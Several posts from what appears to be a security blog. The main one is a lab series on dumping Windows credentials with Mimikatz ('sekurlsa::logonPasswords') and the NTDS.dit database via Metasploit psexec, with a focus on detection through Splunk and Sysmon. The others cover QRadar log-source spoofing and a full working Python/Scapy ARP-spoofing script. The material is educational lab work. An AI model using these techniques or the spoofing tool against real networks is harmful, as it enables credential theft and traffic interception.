Sunday, March 27, 2016

Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Mimikatz

As we continue this journey looking into learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit, the focus of this post allows me to get a better understanding of how I may be able to use the mimikatz tool.

In this post, metasploit usage is continued in order to leverage mimikatz.

The image below shows that first "pwd" was executed to determine the directory which we have landed in.
Once we know where we are, next we created a directory named "x64" in "c:".
Once the directory is completed, we next upload the mimikatz files to the x64 folder.


Now that we have uploaded the files, let's "execute" mimikatz from the meterpreter

Looks like it uploaded successfully! Let's verify that we are good to go.




Still looks good! Moving on!!

Let's look at the logon passwords for this sessions using the command "sekurlsa::logonPasswords"


From the image above, we see a plethora of information has been provided to us. For the account with username "administrator" we see among the information, the "Logon Time", the LM, NTLM and SHA1 hash of the administrator account password. Most importantly, we see also that we were provided with the clear text password "Testing1". This is good stuff.

What else can we get, let's figure it out or obtain.













Above shows that we can export the private and public key for administrator's certificate. While I executed this command, I did not see the files created. However, I later tested this directly on the Windows 2008 box and it worked. See this post


Alternatively we could have exported the key associated with administrator account.

Anything more?! Let's try looking at any Kerberos ticket association with the logon user.
From below we see there is one.

OK! There is a lot more to be learnt about mimikatz. So in the next post I will take a look at the pass the ticket vulnerability. I'm very interested in this as pass the hash still exist and I'm verry much aware of this. However, the pass the ticket is what I'm interested in at this time.

See you in the Pass The Ticket (PTT) post.

Posts in this series:
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Lab Setup
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Dumping the AD database
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Mimikatz
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Exporting Certificates
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Pass The Ticket (Golden Ticket)
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Skeleton Key
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Log Analysis
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Volatility Memory Analysis

Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Dumping the AD database

The idea behind this post was me trying to verify how I may be able to detect the dumping of the Active Directory Database (NTDS.dit). Additionally, I had done this lab before but never thought about putting it into a blog. So here I am killing 2 birds with one stone.

The assumption here is that I already have admin access. This is needed for most of the tasks in this series to be successful. Therefore no "exploit" is used as this post is not about using an "exploit". Most times it does not matter if it is the latest exploit or not. At the end of the day, all malicious actors want is the key(s) to the kingdom.

So here we go!
First we load up Metasploit by using "msfconsole". Once Metasploit is loaded, we then use the "psexec" module.













Now that we have setup our "exploit" we then can go ahead and set our payload. In this case we will use the meterpreter.

Once we have set everything we can go ahead and do a "show options" to see what we have. For me everything looked good.

Next up, let's "run"

Wicked Awesome!! Now that we have access, let's perform a "ps" to see which process we can migrate into. For me this is important because I'm using a Kali32 bit installation while attacking a Windows 2008x64 system. Thus I need to migrate into a 64 bit process. The identified process is "2772" which is tied to "conhost.exe"

Good stuff! So we have migrated successfully.

Now that we have migrated to process with PID 2772, let's go ahead and try to grab the AD database.


Nice!!!! we can see from the last line above that the "Operation completed successfully".

Below shows a snapshot of the data retrieved.

Ok! The NTDS.dit database has been successfully dumped, thus we now have access to the data stored in this database.

From what I've gathered, it seems like Volume Shadow Copy Service is not enabled by default on Domain Controllers, thus it seems that looking for events relating to the starting of this service on your DC may be a cause for concern.

When we perform a log analysis on the entire activity which was performed during these labs, we should be able to identify how we may be able to detect this.

See you in the other posts.

Reference:
https://community.rapid7.com/community/metasploit/blog/2015/07/01/safely-dumping-domain-hashes-with-meterpreter

Posts in this series:
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Lab Setup
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Dumping the AD database
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Mimikatz
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Exporting Certificates
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Pass The Ticket (Golden Ticket)
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Skeleton Key
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Log Analysis
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Volatility Memory Analysis

Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Lab Setup

This series of posts are based on me trying to get a better understanding of Mimikatz and Skeleton Key while also getting a better understanding of Kerberos and Metasploit's new method of dumping the Active Directory Database (NTDS.dit).

My lab consists of a Windows 2008 Server, Windows 7 client and a Kali 32 bit installation.

The idea is not only to use the tools and see them in action but also to try to identify way in which I may be able to detect these activities based on the logs written, packet captures as well as memory analysis.

In order to ensure I have the necessary monitoring infrastructure in place, I will be using the "free" Splunk for log analysis, Windump for packet analysis and DumpIT to capture a memory image.

First up, let's install Splunk on my Kali system.
Now that Splunk is installed on Kali, time to install the Splunk Universal Forwarder on the Windows 2008 server and 7 client.

As shown below, I have not checked any of the Windows Event log options. This is because I intend to use the Sysmon tools from the Sysinternals suite.


Now that the Splunk Universal Forwarder is installed, it's time to install the Sysmon monitoring tool.


Looks like sysmon has been installed, let's verify that the service is in place.


Arite! Arite!! So Far so good! The service is available. Now let's check to see if events are being created.


Above shows that logs are being written.

Let's now configure Splunk to forward these logs to the Kali host.













Let's now verify that these logs are actually getting to our Kali system and can be read by splunk.













Now that logs are coming into splunk successfully, let's load windump on the Windows server





As we have built out our monitoring infrastructure, its now time to get the real work done. Let's get to the labs.
Posts in this series:
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Lab Setup
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Dumping the AD database
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Mimikatz
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Exporting Certificates
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Pass The Ticket (Golden Ticket)
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Skeleton Key
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Log Analysis
Learning about Mimikatz, SkeletonKey, Dumping NTDS.dit and Kerberos with Metasploit - Volatility Memory Analysis

Wednesday, March 16, 2016

My apologies for not posting anything last month



To my avid readers and followers. My apologies for not posting anything last month, this was as a result of me wrapping up my Masters in Cyber Security Forensics and thus needed to dedicate a lot of time to researching and writing for my Capstone. My paper has been submitted and I am awaiting an update. Until such time that it is approve, it is back to normal programming. 

Look out for the new stuff I have coming within the next few days.

Enjoy! 

Friday, February 26, 2016

Spoofing/Replaying A QRadar Log Source

In this post, we will be spoofing the log source only for testing purposes. This may be needed if you don't have an actual log source forwarding data but you have a sample of what the logs look like. This post is related to the one in which we built the Universal Device Support Module (UDSM).

First step is to have a file with some sample log events of the log source you would like to test. In this case our log data looks like
----------- start of sample logs ------------
Fri Mar 21 15:10:49 2014: hostname:10.0.0.1 info:Backup Started by user:admin pid:27387 source: 10.0.15.20 sport:12345 destination:192.168.0.100 dport:22 protocol:tcp
Fri Mar 21 15:10:49 2014: hostname:10.0.0.1 info:Backup Started by user:root pid:27387 source: 10.0.15.20 sport:54321 destination:172.16.0.20 dport:22 protocol:udp
Fri Mar 21 15:10:49 2014: hostname:10.0.0.1 info:Backup Started by user:test pid:27387 source: 10.0.15.20 destination:10.11.12.13 protocol:icmp
----------- end of sample logs ------------

Next we will use the "logrun.pl" script in Qradar.
As always, to understand what a tool does, we should first check it's help. In this case we can get the help by executing "/opt/qradar/bin/logrun.pl" without any arguments.


Considering the above we will use the following command:
"/opt/qradar/bin/logrun.pl -f udsm_testing.txt -t -u 10.0.0.200 10"
-f = tells the script to use filename "udsm_testing.txt". This file is our sample log
-t = tell the script to use TCP instead of UDP to send the logs
-u = tells the script to spoof the source as "10.0.0.200"
10 = tells the script to send 10 events

Let see how this works!


So did it work?! Let's find out!

As can be seen from above "Log Activity" the logs are being seen by QRadar.


So let's try this again. Let's use a spoofed source of 172.16.0.254 and send 20 events.


Below we execute the "logrun.pl" script to generate 20 events.
And the results ...

Good stuff! Once again QRadar sees the log source. However as can be seen it does not know what to do with the logs. We will address here!

Voila. Between using this post and the one on building your first UDSM, you should be in a better position to rule the world of your QRadar SIEM.

Sunday, January 10, 2016

Interested in Learning Intrusion Detection in Depth?

I'll be teaching SANS 503 at Community SANS Ottawa, ON | Mon Mar 7 - Sat Mar 12, 2016. Come spend some time with us as we go through packet analysis, log analysis along with understanding tools such as Wireshark, Snort, BRO, etc.

Register now at "https://www.sans.org/community/event/sec503-ottawa-07mar2016-nik-alleyne" and save.

Building your own tools with Scapy & Python - ARP Spoofing

A while back I did this blog post on creating DNS Spoofing tool using Scapy. For some strange reasons, it is one of my more popular blog posts. I thought since this is a well liked post, maybe I should do one on ARP spoofing. So this post addresses that. Consider this post as Building your own tools with Scapy & Python part 2

Since Address Resolution Protocol (ARP) is a broadcast protocol, it is possible for us to easily fake ARP replies by simply listening for ARP requests.
In this post, we will develop the code and in this post, we evaluate whether or not it works.




#!/usr/bin/env python
# Author: Nik Alleyne
# Author blog: securitynik.blogspot.com
# Contact: nikalleyne at gmail.com
# arpSpoof.py
# This code is simply for demonstration and education purposes
# if you use this code for anything malicious or you cause disruption
# to your environment or any other, in NO WAY AM I RESPONSIBLE!

from scapy.all import ARP, IP, sniff, send
from subprocess import call
from sys import exit, argv


# Print some basic usage information
def usage():
    print(' ./arpSpoof.py - author:Nik Alleyne - securitynik.blogspot.com ')
    print(' ./arpSpoof.py interface_to_listen_on ip_address_to_listen_for mac_you_would_like_to_use ')
    print(' eg. ./arpSpoof.py eth0 192.168.0.200 01:02:03:04:05:06')
    exit(0)


# This function listens for the ARP request and builds the response
def listen_and_build(src_intf, target_ip, my_mac):
    # Adding a variable named 'some_data' to make it interesting
    some_data = "Hey there watch me ride on ARP ;-) - securitynik"
  
    # using this list I will compare each byte within the protocol destination address
    # I needed to do this to ensure I keep the sniff filter as tight as possible
    pdst = []
  
    # The IP entered on the command line is being separated by the '.'
    pdst = target_ip.split('.')

    print(' Listening for ARP request for \'%s\' ... ' %target_ip)
  
    # Let's sniff for our ARP packet
    # To keep the filter as tight as possible, let's only capture ARP Requests
    # Take a look at 'http://securitynik.blogspot.ca/2015/12/a-few-not-so-basic-windump-examples.html' \
    # for the better understanding of the filter value
    get_arp_request = sniff(iface=src_intf, filter='arp[6:2] & 0x0F=0x01 and arp[24] & 0xFF='+ pdst[0] +' and arp[25] & 0xFF='+ pdst[1] +' and arp[26] & 0xFF='+pdst[2]+' and arp[27] & 0xFF='+pdst[3], count=1)
  
    # Uncomment the line below to verify the packet is captured
    #print(get_arp_request)

    # extract the IP of the host sending the request
    received_arp_ip_src = get_arp_request[0].getlayer(ARP).psrc

    # extract the MAC address of the host sending the request
    received_arp_hw_src = get_arp_request[0].getlayer(ARP).hwsrc

    # extract the destination which is being searched for
    received_arp_ip_dst = get_arp_request[0].getlayer(ARP).pdst
  
    print(' \n Found ARP Request ... ')
    print(' source host \'%s(%s)\' looking for destination host \'%s\'  ' %(received_arp_ip_src,received_arp_hw_src,received_arp_ip_dst))
  
    print(' \n Building your fake ARP reply ...')

    # start building the spoofed ARP request
    send_arp_reply = ARP()

    # Specify hardware type as Ethernet - let's use the value from the ARP request
    send_arp_reply.hwtype = get_arp_request[0].getlayer(ARP).hwtype

    # Specify the protocol type as IP - using the value from the ARP request
    send_arp_reply.ptype = get_arp_request[0].getlayer(ARP).ptype

    # Specify the Ethernet destination/source length. This is 48 bits or 6 bytes. Using values from ARP request
    send_arp_reply.hwlen = get_arp_request[0].getlayer(ARP).hwlen


    # Specify your protocol length. IPv4 is 32 bits or 4 bytes. Using values from ARP request
    send_arp_reply.plen = get_arp_request[0].getlayer(ARP).plen

    # Specify the OP code. In this case we use 2 since this is an ARP reply
    # This is probably the most important line of our code
    send_arp_reply.op = 0x02

    # Specify the MAC address which you would like to send
    # Let's take this from the command line. This is the 3rd opiton in the commane line argument
    send_arp_reply.hwsrc = my_mac

    # Specify your IP, or the IP would like to send to the requester.
    # Whatever is requested in the ARP request, we will send back in the ARP reply
    send_arp_reply.psrc = received_arp_ip_dst

    # Specify MAC of the host that should receive this reply.
    # We can take that from the request packet
    send_arp_reply.hwdst = received_arp_hw_src

    # specify the destination IP of the receiving host
    # once again we  can take this from the request
    send_arp_reply.pdst = get_arp_request[0].getlayer(ARP).psrc

    print(' sending your fake ARP reply .... ')
    print(' Reply from \'%s(%s)\' to requester \'%s(%s)\' ' %(send_arp_reply.psrc,send_arp_reply.hwsrc,send_arp_reply.pdst, send_arp_reply.hwdst))
    send(send_arp_reply/some_data, count=3)

    # Uncoment the line below if you would like to see your entire ARP reply packet
    #print(send_arp_reply.show())



def main():
    call('clear')
    if ( len(argv) != 4 ):
        usage()
    # Let's read the values used at the commanline to make our tool work
    listen_and_build(argv[1].strip(),argv[2].strip(), argv[3].strip())


if __name__ == '__main__':
    main()


So at this point you maybe asking ... but Nik how do we know this works?! ... and this is where I say I'm glad you asked ;-).


Let's look at the next post to verify this works as expected.



Download arpSpoof.py tool

Reference:
https://tools.ietf.org/html/rfc826
http://www.secdev.org/projects/scapy/